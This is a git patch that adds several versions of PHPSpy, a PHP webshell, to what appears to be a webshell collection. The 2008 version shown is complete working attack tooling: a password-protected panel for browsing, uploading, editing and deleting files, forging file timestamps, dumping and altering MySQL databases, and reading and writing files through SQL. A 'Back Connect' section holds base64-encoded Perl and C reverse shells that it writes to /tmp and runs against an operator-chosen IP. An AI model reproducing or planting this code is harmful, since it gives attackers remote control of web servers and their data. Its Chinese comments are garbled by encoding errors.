From c84c49a723ea71a4321cceb6cacd4eb9d8383bc4 Mon Sep 17 00:00:00 2001 From: tennc Date: Thu, 23 May 2013 18:16:33 +0800 Subject: [PATCH] update phpspy --- php/phpspy/2008.php | 1990 ++++++++++++++++++++++ php/phpspy/2009lite.php | 1165 +++++++++++++ php/phpspy/2009mssql.php | 2723 +++++++++++++++++++++++++++++++ php/phpspy/2011.php | 2141 ++++++++++++++++++++++++ php/phpspy/2013加密.php | 7 + php/phpspy/2013未加密.php | 1616 ++++++++++++++++++ php/phpspy/phpspy2010.php | 21 + php/phpspy/phpspy_2005_full.php | 1211 ++++++++++++++ php/phpspy/phpspy_2005_lite.php | 659 ++++++++ php/phpspy/phpspy_2006.php | 1309 +++++++++++++++ 10 files changed, 12842 insertions(+) create mode 100644 php/phpspy/2008.php create mode 100644 php/phpspy/2009lite.php create mode 100644 php/phpspy/2009mssql.php create mode 100644 php/phpspy/2011.php create mode 100644 php/phpspy/2013加密.php create mode 100644 php/phpspy/2013未加密.php create mode 100644 php/phpspy/phpspy2010.php create mode 100644 php/phpspy/phpspy_2005_full.php create mode 100644 php/phpspy/phpspy_2005_lite.php create mode 100644 php/phpspy/phpspy_2006.php diff --git a/php/phpspy/2008.php b/php/phpspy/2008.php new file mode 100644 index 0000000..9e68fe1 --- /dev/null +++ b/php/phpspy/2008.php @@ -0,0 +1,1990 @@ + $_value) { + if ($_key{0} != '_') { + if (IS_GPC) { + $_value = s_array($_value); + } + $$_key = $_value; + } + } +} + +/*===================== ³ÌÐòÅäÖà =====================*/ +$admin = array(); +// ÊÇ·ñÐèÒªÃÜÂëÑéÖ¤, true ΪÐèÒªÑéÖ¤, false Ϊֱ½Ó½øÈë.ÏÂÃæÑ¡ÏîÔòÎÞЧ +$admin['check'] = true; +// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë +$admin['pass'] = 'angel'; + +//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ +// cookie ǰ׺ +$admin['cookiepre'] = ''; +// cookie ×÷ÓÃÓò +$admin['cookiedomain'] = ''; +// cookie ×÷Ó÷¾¶ +$admin['cookiepath'] = '/'; +// cookie ÓÐЧÆÚ +$admin['cookielife'] = 86400; +/*===================== ÅäÖýáÊø =====================*/ + +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== Éí·ÝÑéÖ¤ =====================*/ +if ($action == "logout") { + scookie('phpspypass', '', -86400 * 365); + p(''); + p('Success'); + exit; +} +if($admin['check']) { + if ($doing == 'login') { + if ($admin['pass'] == $password) { + scookie('phpspypass', $password); + p(''); + p('Success'); + exit; + } + } + if ($_COOKIE['phpspypass']) { + if ($_COOKIE['phpspypass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== ÑéÖ¤½áÊø =====================*/ + +$errmsg = ''; + +// ²é¿´PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// ÏÂÔØÎļþ +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â +if ($doing == 'backupmysql' && !$saveasfile) { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + $table = array_flip($table); + $result = q("SHOW tables"); + if (!$result) p('

'.mysql_error().'

'); + $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + $mysqldata .= sqldumptable($currow[0]); + } + } + mysql_close(); + exit; +} + +// ͨ¹ýMYSQLÏÂÔØÎļþ +if($doing=='mysqldown'){ + if (!$dbname) { + $errmsg = 'Please input dbname'; + } else { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + if (!file_exists($mysqldlfile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $result = q("select load_file('$mysqldlfile');"); + if(!$result){ + q("DROP TABLE IF EXISTS tmp_angel;"); + q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); + //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö + q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); + $result = q("select content from tmp_angel"); + q("DROP TABLE tmp_angel"); + } + $row = @mysql_fetch_array($result); + if (!$row) { + $errmsg = 'Load file failed '.mysql_error(); + } else { + $fileinfo = pathinfo($mysqldlfile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header("Accept-Length: ".strlen($row[0])); + echo $row[0]; + exit; + } + } + } +} + +?> + + + +<?php echo str_replace('.','','P.h.p.S.p.y');?> + + + + + + + + + + + +
Ver: 2008 ()
Safe Mode: + Logout | + File Manager | + MySQL Manager | + MySQL Upload & Download | + Execute Command | + PHP Variable | + Eval PHP Code + | Back Connect +
+'); + + p(''); + + //²é¿´ËùÓпÉдÎļþºÍĿ¼ + $dirdata=array(); + $filedata=array(); + + if ($view_writable) { + $dirdata = GetList($nowpath); + } else { + // Ŀ¼Áбí + $dirs=@opendir($dir); + while ($file=@readdir($dirs)) { + $filepath=$nowpath.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['dirchmod']=getChmod($filepath); + $dirdb['dirperm']=getPerms($filepath); + $dirdb['fileowner']=getUser($filepath); + $dirdb['dirlink']=$nowpath; + $dirdb['server_link']=$filepath; + $dirdb['client_link']=ue($filepath); + $dirdata[]=$dirdb; + } else { + $filedb['filename']=$file; + $filedb['size']=sizecount(@filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['filechmod']=getChmod($filepath); + $filedb['fileperm']=getPerms($filepath); + $filedb['fileowner']=getUser($filepath); + $filedb['dirlink']=$nowpath; + $filedb['server_link']=$filepath; + $filedb['client_link']=ue($filepath); + $filedata[]=$filedb; + } + }// while + unset($dirdb); + unset($filedb); + @closedir($dirs); + } + @sort($dirdata); + @sort($filedata); + $dir_i = '0'; + foreach($dirdata as $key => $dirdb){ + if($dirdb['filename']!='..' && $dirdb['filename']!='.') { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } else { + if($dirdb['filename']=='..') { + p(''); + p(''); + p(''); + } + } + } + + p(''); + p(''); + makehide('action','file'); + makehide('thefile'); + makehide('doing'); + makehide('dir',$nowpath); + $file_i = '0'; + foreach($filedata as $key => $filedb){ + if($filedb['filename']!='..' && $filedb['filename']!='.') { + $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + } + p(''); + p('
+'goaction')); +makehide('action'); +formfoot(); + +$errmsg && m($errmsg); + +// »ñÈ¡µ±Ç°Â·¾¶ +!$dir && $dir = '.'; +$nowpath = getPath(SA_ROOT, $dir); +if (substr($dir, -1) != '/') { + $dir = $dir.'/'; +} +$uedir = ue($dir); + +if (!$action || $action == 'file') { + + // Åж϶ÁдÇé¿ö + $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; + + // ɾ³ýĿ¼ + if ($doing == 'deldir' && $thefile) { + if (!file_exists($thefile)) { + m($thefile.' directory does not exist'); + } else { + m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); + } + } + + // ´´½¨Ä¿Â¼ + elseif ($newdirname) { + $mkdirs = $nowpath.$newdirname; + if (file_exists($mkdirs)) { + m('Directory has already existed'); + } else { + m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); + @chmod($mkdirs,0777); + } + } + + // ÉÏ´«Îļþ + elseif ($doupfile) { + m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); + } + + // ±à¼­Îļþ + elseif ($editfilename && $filecontent) { + $fp = @fopen($editfilename,'w'); + m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); + @fclose($fp); + } + + // ±à¼­ÎļþÊôÐÔ + elseif ($pfile && $newperm) { + if (!file_exists($pfile)) { + m('The original file does not exist'); + } else { + $newperm = base_convert($newperm,8,10); + m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); + } + } + + // ¸ÄÃû + elseif ($oldname && $newfilename) { + $nname = $nowpath.$newfilename; + if (file_exists($nname) || !file_exists($oldname)) { + m($nname.' has already existed or original file does not exist'); + } else { + m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); + } + } + + // ¸´ÖÆÎļþ + elseif ($sname && $tofile) { + if (file_exists($tofile) || !file_exists($sname)) { + m('The goal file has already existed or original file does not exist'); + } else { + m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); + } + } + + // ¿Ë¡ʱ¼ä + elseif ($curfile && $tarfile) { + if (!@file_exists($curfile) || !@file_exists($tarfile)) { + m('The goal file has already existed or original file does not exist'); + } else { + $time = @filemtime($tarfile); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // ×Ô¶¨Òåʱ¼ä + elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { + if (!@file_exists($curfile)) { + m(basename($curfile).' does not exist'); + } else { + $time = strtotime("$year-$month-$day $hour:$minute:$second"); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // ´ò°üÏÂÔØ + elseif($doing == 'downrar') { + if ($dl) { + $dfiles=''; + foreach ($dl as $filepath => $value) { + $dfiles.=$filepath.','; + } + $dfiles=substr($dfiles,0,strlen($dfiles)-1); + $dl=explode(',',$dfiles); + $zip=new PHPZip($dl); + $code=$zip->out; + header('Content-type: application/octet-stream'); + header('Accept-Ranges: bytes'); + header('Accept-Length: '.strlen($code)); + header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); + echo $code; + exit; + } else { + m('Please select file(s)'); + } + } + + // ÅúÁ¿É¾³ýÎļþ + elseif($doing == 'delfiles') { + if ($dl) { + $dfiles=''; + $succ = $fail = 0; + foreach ($dl as $filepath => $value) { + if (@unlink($filepath)) { + $succ++; + } else { + $fail++; + } + } + m('Deleted file have finished£¬choose '.count($dl).' success '.$succ.' fail '.$fail); + } else { + m('Please select file(s)'); + } + } + + //²Ù×÷Íê±Ï + formhead(array('name'=>'createdir')); + makehide('newdirname'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileperm')); + makehide('newperm'); + makehide('pfile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'copyfile')); + makehide('sname'); + makehide('tofile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'rename')); + makehide('oldname'); + makehide('newfilename'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileopform')); + makehide('action'); + makehide('opfile'); + makehide('dir'); + formfoot(); + + $free = @disk_free_space($nowpath); + !$free && $free = 0; + $all = @disk_total_space($nowpath); + !$all && $all = 0; + $used = $all-$free; + $used_percent = @round(100/($all/$free),2); + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)

'); + +?> + + + + + + + + +
Current Directory (, )
+ +
'); + p('
'); + p('WebRoot'); + if ($view_writable) { + p(' | View All'); + } else { + p(' | View Writable'); + } + p(' | Create Directory | Create File'); + if (IS_WIN && IS_COM) { + $obj = new COM('scripting.filesystemobject'); + if ($obj && is_object($obj)) { + $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); + foreach($obj->Drives as $drive) { + if ($drive->DriveType == 2) { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } else { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } + } + } + } + + p('
 FilenameLast modifiedSizeChmod / PermsAction
0'.$dirdb['filename'].''.$dirdb['mtime'].'--'); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Del | Rename
=Parent Directory
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); + p(''.$filedb['filechmod'].' / '); + p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); + p('Down | '); + p('Copy | '); + p('Edit | '); + p('Rename | '); + p('Time'); + p('
Packing download selected - Delete selected'.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($action == 'sqlfile') { + if($doing=="mysqlupload"){ + $file = $_FILES['uploadfile']; + $filename = $file['tmp_name']; + if (file_exists($savepath)) { + m('The goal file has already existed'); + } else { + if(!$filename) { + m('Please choose a file'); + } else { + $fp=@fopen($filename,'r'); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents = bin2hex($contents); + if(!$upname) $upname = $file['name']; + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); + m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); + } + } + } +?> + +'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); + formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); + makehide('action','sqlfile'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBName:'); + makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); + p('

'); + formfoot(); + p('
'); + p('

Upload file

'); + p('

This operation the DB user must has FILE privilege

'); + p('

Save path(fullpath): Choose a file: Upload

'); + p('

Download file

'); + p('

File: Download

'); + makehide('dbhost'); + makehide('dbport'); + makehide('dbuser'); + makehide('dbpass'); + makehide('dbname'); + makehide('charset'); + makehide('doing'); + makehide('action','sqlfile'); + p('
'); +} + +elseif ($action == 'sqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'root'; + !$dbport && $dbport = '3306'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbport)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if(isset($charset)) { + $dbform .= "\n"; + } + + if ($doing == 'backupmysql' && $saveasfile) { + if (!$table) { + m('Please choose the table'); + } else { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $table = array_flip($table); + $fp = @fopen($path,'w'); + if ($fp) { + $result = q('SHOW tables'); + if (!$result) p('

'.mysql_error().'

'); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $fp); + } + } + fclose($fp); + $fileurl = str_replace(SA_ROOT,'',$path); + m('Database has success backup to '.$path.''); + mysql_close(); + } else { + m('Backup failed'); + } + } + } + if ($insert && $insertsql) { + $keystr = $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + if ($val) { + $keystr .= $tmp.$key; + $valstr .= $tmp."'".addslashes($val)."'"; + $tmp = ','; + } + } + if ($keystr && $valstr) { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); + } + } + if ($update && $insertsql && $base64) { + $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + $valstr .= $tmp.$key."='".addslashes($val)."'"; + $tmp = ','; + } + if ($valstr) { + $where = base64_decode($base64); + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); + } + } + if ($doing == 'del' && $base64) { + $where = base64_decode($base64); + $delete_sql = "DELETE FROM $tablename WHERE $where"; + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); + } + + if ($tablename && $doing == 'drop') { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + if (q("DROP TABLE $tablename")) { + m('Drop table of success'); + $tablename = ''; + } else { + m(mysql_error()); + } + } + + $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); + + formhead(array('title'=>'MYSQL Manager')); + makehide('action','sqladmin'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +?> + +'recordlist')); + makehide('doing'); + makehide('action','sqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //Ñ¡¶¨Êý¾Ý¿â + formhead(array('name'=>'setdbname')); + makehide('action','sqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //Ñ¡¶¨±í + formhead(array('name'=>'settable')); + makehide('action','sqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ + $mysqlver = mysql_get_server_info(); + p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); + $highver = $mysqlver > '4.1' ? 1 : 0; + + //»ñÈ¡Êý¾Ý¿â + $query = q("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mysql_fetch_array($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p('

'); + p('Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('

'); + mysql_select_db($dbname); + + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = $sql_query; + $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; + $allowedit = 1; + } + p('
'); + p('

Run SQL query/queries on database '.$dbname.':

'); + makehide('tablename', $tablename); + makehide('action','sqladmin'); + p($dbform); + p('
'); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + } elseif ($doing == 'insert' || $doing == 'edit') { + $result = q('SHOW COLUMNS FROM '.$tablename); + while ($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + $rs = array(); + if ($doing == 'insert') { + p('

Insert new line in '.$tablename.' table »

'); + } else { + p('

Update record in '.$tablename.' table »

'); + $where = base64_decode($base64); + $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); + $rs = mysql_fetch_array($result); + } + p(''); + p($dbform); + makehide('action','sqladmin'); + makehide('tablename',$tablename); + p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); + foreach ($rowdb as $row) { + if ($rs[$row['Field']]) { + $value = htmlspecialchars($rs[$row['Field']]); + } else { + $value = ''; + } + $thisbg = bg(); + p(''); + p(''); + } + if ($doing == 'insert') { + p(''); + } else { + p(''); + makehide('base64', $base64); + } + p('
'.$row['Field'].'
'.$row['Type'].'
'); + } else { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch(qy($query)) + { + case 0: + p('

Error : '.mysql_error().'

'); + break; + case 1: + if (strtolower(substr($query,0,13)) == 'select * from') { + $allowedit = 1; + } + if ($getnumsql) { + $tatol = mysql_num_rows(q($getnumsql)); + $multipage = multi($tatol, $pagenum, $page, $tablename); + } + if (!$tablename) { + $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); + $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); + preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); + $tablename = $matches[1][0]; + } + $result = q($query); + p($multipage); + p(''); + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + while($mn = @mysql_fetch_assoc($result)){ + $thisbg = bg(); + p(''); + $where = $tmp = $b1 = ''; + foreach($mn as $key=>$inside){ + if ($inside) { + $where .= $tmp.$key."='".addslashes($inside)."'"; + $tmp = ' AND '; + } + $b1 .= ''; + } + $where = base64_encode($where); + if ($allowedit) p(''); + p($b1); + p(''); + unset($b1); + } + tbfoot(); + p($multipage); + break; + case 2: + $ar = mysql_affected_rows(); + p('

affected rows : '.$ar.'

'); + break; + } + } + } + } + } else { + $query = q("SHOW TABLE STATUS"); + $table_num = $table_rows = $data_size = 0; + $tabledb = array(); + while($table = mysql_fetch_array($query)) { + $data_size = $data_size + $table['Data_length']; + $table_rows = $table_rows + $table['Rows']; + $table['Data_length'] = sizecount($table['Data_length']); + $table_num++; + $tabledb[] = $table; + } + $data_size = sizecount($data_size); + unset($table); + p('
Action$name
$type($len)
'.html_clean($inside).' Edit | Del
'); + p(''); + makehide('action','sqladmin'); + p($dbform); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + + p(""); + makehide('doing','backupmysql'); + formfoot(); + p("
NameRowsData_lengthCreate_timeUpdate_timeEngineCollation
'.$table['Name'].' [ Insert | Structure | Drop ]'.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].''.$table['Update_time'].''.$table['Engine'].''.$table['Collation'].'
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); + fr($query); + } + } + } + tbfoot(); + @mysql_close(); +}//end sql backup + + +elseif ($action == 'backconnect') { + !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; + !$yourport && $yourport = '12345'; + $usedb = array('perl'=>'perl','c'=>'c'); + + $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + + if ($start && $yourip && $yourport && $use){ + if ($use == 'perl') { + cf('/tmp/angel_bc',$back_connect); + $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); + } else { + cf('/tmp/angel_bc.c',$back_connect_c); + $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/angel_bc.c'); + $res = execute("/tmp/angel_bc $yourip $yourport &"); + } + m("Now script try connect to $yourip port $yourport ..."); + } + + formhead(array('title'=>'Back Connect')); + makehide('action','backconnect'); + p('

'); + p('Your IP:'); + makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); + p('Your Port:'); + makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); + p('Use:'); + makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); + makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); + p('

